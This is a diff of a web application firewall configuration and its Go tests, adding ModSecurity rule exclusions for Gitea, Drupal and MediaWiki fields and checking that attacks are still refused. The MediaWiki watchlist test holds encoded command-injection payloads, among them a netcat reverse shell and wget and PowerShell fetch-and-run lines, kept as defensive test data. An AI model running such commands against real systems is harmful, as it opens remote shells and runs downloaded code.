t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la, and 930120, which
|
||||
// refuses system file names.
|
||||
for _, kept := range []struct {
|
||||
value string
|
||||
rule int
|
||||
}{
|
||||
{"ls -la", 932250},
|
||||
{".htaccess@example.com", 930120},
|
||||
} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"name":"` + attack + `"}`
|
||||
body := `{"mail":"` + kept.value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"mail":"` + address + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// So does the JSON field mail.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -35,41 +35,46 @@
|
||||
# 944100: java.lang.Runtime
|
||||
# 944110: java.lang.Runtime
|
||||
# 944130: java.lang.Runtime
|
||||
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||
# is Mastodon's search.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||
"id:900600,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
"id:900600,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# A page opened from the results of one of those searches has the search's
|
||||
# address in Referer, which skips these rules then:
|
||||
@@ -78,17 +83,20 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
# 941160: <img src=
|
||||
# 942100: LIKE '%foo%'
|
||||
# 944100: java.lang.Runtime
|
||||
# A repository with the owner api is left out here too.
|
||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||
"id:900601,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
"id:900601,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
|
||||
# gitea's searches of repositories, users, branches, tags and packages send a
|
||||
# name in q, which skips these rules there:
|
||||
|
||||
@@ -5,8 +5,8 @@
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter of
|
||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
# MediaWiki's paths are matched at the site root and under /w/.
|
||||
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
|
||||
# paths are matched at the site root and under /w/.
|
||||
#
|
||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||
# with a page title, in the query or after the path:
|
||||
@@ -15,7 +15,7 @@
|
||||
# Pages under /wiki/ need neither.
|
||||
#
|
||||
# Four rules read a search, a title or a name as a command or a system file.
|
||||
# Each exclusion below for such a field removes these four, and only these:
|
||||
# Each exclusion below for such a field removes these four:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
@@ -55,9 +55,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
||||
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
||||
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
||||
# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator,
|
||||
# /api.php?action=query&generator=prefixsearch&gpssearch=python3
|
||||
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
|
||||
# gbltitle, geuquery: the same fields from a generator,
|
||||
# /api.php?action=query&generator=allpages&gapprefix=python3
|
||||
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
||||
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
|
||||
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
||||
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
||||
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
||||
@@ -71,10 +73,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
# allow.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||
"id:900901,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932180;FILES"
|
||||
|
||||
# The search box's suggestions and the search through the REST API:
|
||||
@@ -175,3 +177,36 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
||||
|
||||
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
||||
# line. Watchlists holding "Lighthouse notes" and then one of these titles
|
||||
# were refused:
|
||||
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
|
||||
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
|
||||
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
|
||||
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
|
||||
# refused. A watchlist that mixes a title holding one of these with a title
|
||||
# starting with a command name is refused too.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900915,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
|
||||
|
||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||
# once, since it would otherwise skip these rules for a second wpTitles
|
||||
# holding a command.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900916,phase:2,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||
@@ -6,7 +6,7 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mediawikiThreshold = 5
|
||||
|
||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||
@@ -49,8 +49,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -85,6 +85,10 @@ var mediawikiQueryFields = []string{
|
||||
"/api.php?action=query&list=allpages&apto=",
|
||||
"/api.php?action=query&list=allpages&apprefix=",
|
||||
"/api.php?action=query&generator=allpages&gapfrom=",
|
||||
"/api.php?action=query&generator=allpages&gapto=",
|
||||
"/api.php?action=query&generator=allpages&gapprefix=",
|
||||
"/api.php?action=query&generator=allimages&gaifrom=",
|
||||
"/api.php?action=query&generator=allimages&gaiprefix=",
|
||||
"/api.php?action=query&list=allimages&aifrom=",
|
||||
"/api.php?action=query&list=allimages&aiprefix=",
|
||||
"/api.php?action=query&list=allusers&aufrom=",
|
||||
@@ -92,6 +96,8 @@ var mediawikiQueryFields = []string{
|
||||
"/api.php?action=query&list=backlinks&bltitle=",
|
||||
"/api.php?action=query&generator=backlinks&gbltitle=",
|
||||
"/api.php?action=query&list=exturlusage&euquery=",
|
||||
"/api.php?action=query&generator=exturlusage&geuquery=",
|
||||
"/api.php?action=query&list=logevents&letitle=",
|
||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||
"/api.php?action=query&list=blocks&bkusers=",
|
||||
"/w/api.php?action=opensearch&search=",
|
||||
@@ -130,8 +136,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -174,6 +180,14 @@ var mediawikiReasonFields = []mediawikiBodyField{
|
||||
{mediawikiProtect, "mwProtect-reason="},
|
||||
}
|
||||
|
||||
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
||||
// list of titles in, one per line.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var mediawikiWatchlist = mediawikiBodyField{
|
||||
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
||||
}
|
||||
|
||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -190,7 +204,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
crs := readingBodies(t)
|
||||
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiReasonFields)
|
||||
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, sent := range fields {
|
||||
@@ -255,6 +269,34 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||
// it once.
|
||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
|
||||
for _, attack := range []string{
|
||||
mediawikiCommandAttack,
|
||||
"Example%0D%0A" + mediawikiCommandAttack,
|
||||
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
||||
"Example%0D%0A%24%28id%29",
|
||||
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
||||
"%3B%20sh%20-i",
|
||||
"%26%26%20sh%20-i",
|
||||
"%7C%7C%20sh%20-i",
|
||||
"%60sh%20-i%60",
|
||||
"%3B%20ls%20-la%20%2F",
|
||||
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
||||
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
||||
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
||||
} {
|
||||
body := mediawikiWatchlist.field + attack
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
@@ -291,6 +333,14 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A watchlist holds the title on its second line, as recorded.
|
||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -355,6 +405,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{mediawikiEdit, "wpSummary=python3"},
|
||||
{mediawikiSignIn, "wpPassword=python3"},
|
||||
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||
|
||||
@@ -412,6 +412,11 @@
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
|
||||
@@ -565,3 +565,38 @@
|
||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
